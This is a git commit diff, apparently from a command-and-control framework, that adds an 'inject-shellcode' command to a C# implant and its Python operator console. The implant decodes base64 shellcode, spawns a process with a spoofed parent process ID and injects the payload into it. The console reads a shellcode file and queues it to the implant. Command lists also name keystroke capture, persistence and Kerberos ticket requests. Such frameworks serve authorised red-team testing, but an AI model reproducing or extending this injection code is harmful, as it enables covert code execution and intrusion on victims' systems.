Added Inject-Shellcode

chunking
benpturner 2018-12-28 22:59:54 +00:00
parent 9fa1e7636f
commit 86f58cf14e
3 changed files with 32 additions and 21 deletions

View File

@ -392,27 +392,21 @@ public class Program
if (c.ToLower().StartsWith("inject-shellcode")){ if (c.ToLower().StartsWith("inject-shellcode")){
string migrate = Regex.Replace(c, "inject-shellcode ", "", RegexOptions.IgnoreCase); string newProc = Regex.Replace(c, "inject-shellcode ", "", RegexOptions.IgnoreCase);
migrate = Regex.Replace(migrate, "inject-shellcode", "", RegexOptions.IgnoreCase); newProc = Regex.Replace(newProc, "inject-shellcode", "", RegexOptions.IgnoreCase);
if (!String.IsNullOrEmpty(migrate)) { if (!String.IsNullOrEmpty(newProc) && newProc.Length > 5) {
Program.proc = migrate; Program.proc = newProc;
} }
output = scode + Program.proc;
var stringOutput = new StringWriter();
object[] args = new object[3]; Console.SetOut(stringOutput);
args[0] = null; // parent process id byte[] payload = Convert.FromBase64String(Program.scode);
args[1] = @"c:\windows\system32\netsh.exe"; //process name
args[2] = true; //suspended?
var loadedType = LoadSomething("ProcHandler, Inject, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null");
var xxx = loadedType.Assembly.GetType("ProcHandler").InvokeMember("GetProcesses", BindingFlags.InvokeMethod, null, null, null);
output = xxx.ToString();
// OpenProcess
// VirtualAllocEx
// WriteProcessMemory
// CreateRemoteThread
var loadedType = LoadSomething("PPIDSpoofer, Inject, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null");
uint procID = (uint)loadedType.Assembly.GetType("PPIDSpoofer").InvokeMember("SharpCreateProcess", BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, new object[] { null, Program.proc, true}, null, null, null);
var procShellcode = loadedType.Assembly.GetType("PPIDSpoofer").InvokeMember("InjectShellcode", BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, new object[] { (int)procID, payload}, null, null, null);
output = stringOutput.ToString();
} }
if (c.ToLower() == "ps"){ if (c.ToLower() == "ps"){

View File

@ -47,6 +47,7 @@ listmodule
run-dll Seatbelt.Program Seatbelt UserChecks run-dll Seatbelt.Program Seatbelt UserChecks
run-exe Rubeus.Program Rubeus asktgt /user:test /rc4:fdfdsfdsfds run-exe Rubeus.Program Rubeus asktgt /user:test /rc4:fdfdsfdsfds
start-process net -argumentlist users start-process net -argumentlist users
inject-shellcode
kill-implant kill-implant
hide-implant hide-implant
unhide-implant unhide-implant
@ -388,4 +389,4 @@ COMMANDS += ['invoke-psexecdaisypayload','invoke-wmidaisypayload', 'invoke-dcomd
UXCOMMANDS = ["unhide-implant","hide-implant","help","searchhelp","python","loadmodule","loadmoduleforce","get-keystrokes","back","upload-file","download-file","install-persistence","remove-persistence","sai","startanotherimplant-keepfile","get-screenshot","startanotherimplant","pwd","id","ps","setbeacon","kill-implant"] UXCOMMANDS = ["unhide-implant","hide-implant","help","searchhelp","python","loadmodule","loadmoduleforce","get-keystrokes","back","upload-file","download-file","install-persistence","remove-persistence","sai","startanotherimplant-keepfile","get-screenshot","startanotherimplant","pwd","id","ps","setbeacon","kill-implant"]
SHARPCOMMANDS = ["unhide-implant","ls","pwd","dir","start-process","run-exe","run-dll","hide-implant","help","searchhelp","listmodules","loadmodule","loadmoduleforce","back","ps","beacon","setbeacon","kill-implant"] SHARPCOMMANDS = ["unhide-implant","ls","pwd","dir","inject-shellcode","start-process","run-exe","run-dll","hide-implant","help","searchhelp","listmodules","loadmodule","loadmoduleforce","back","ps","beacon","setbeacon","kill-implant"]

View File

@ -499,13 +499,29 @@ def runcommand(command, randomuri):
for line in helpfull: for line in helpfull:
if searchterm in line: if searchterm in line:
print (line) print (line)
elif "unhide-implant" in command.lower(): elif "unhide-implant" in command.lower():
unhide_implant(randomuri) unhide_implant(randomuri)
elif "hide-implant" in command.lower(): elif "hide-implant" in command.lower():
kill_implant(randomuri) kill_implant(randomuri)
elif "inject-shellcode" in command.lower():
check_module_loaded("Inject.dll", randomuri)
readline.set_completer(filecomplete)
path = raw_input("Location of shellcode file: ")
t = tabCompleter()
t.createListCompleter(COMMANDS)
readline.set_completer(t.listCompleter)
try:
shellcodefile = load_file(path)
if shellcodefile != None:
arch = "64"
new_task("$Shellcode%s=\"%s\"" % (arch,base64.b64encode(shellcodefile)), randomuri)
new_task(command, randomuri)
except Exception as e:
print ("Error loading file: %s" % e)
elif "kill-implant" in command.lower() or "exit" in command.lower(): elif "kill-implant" in command.lower() or "exit" in command.lower():
impid = get_implantdetails(randomuri) impid = get_implantdetails(randomuri)
ri = raw_input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0]) ri = raw_input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid[0])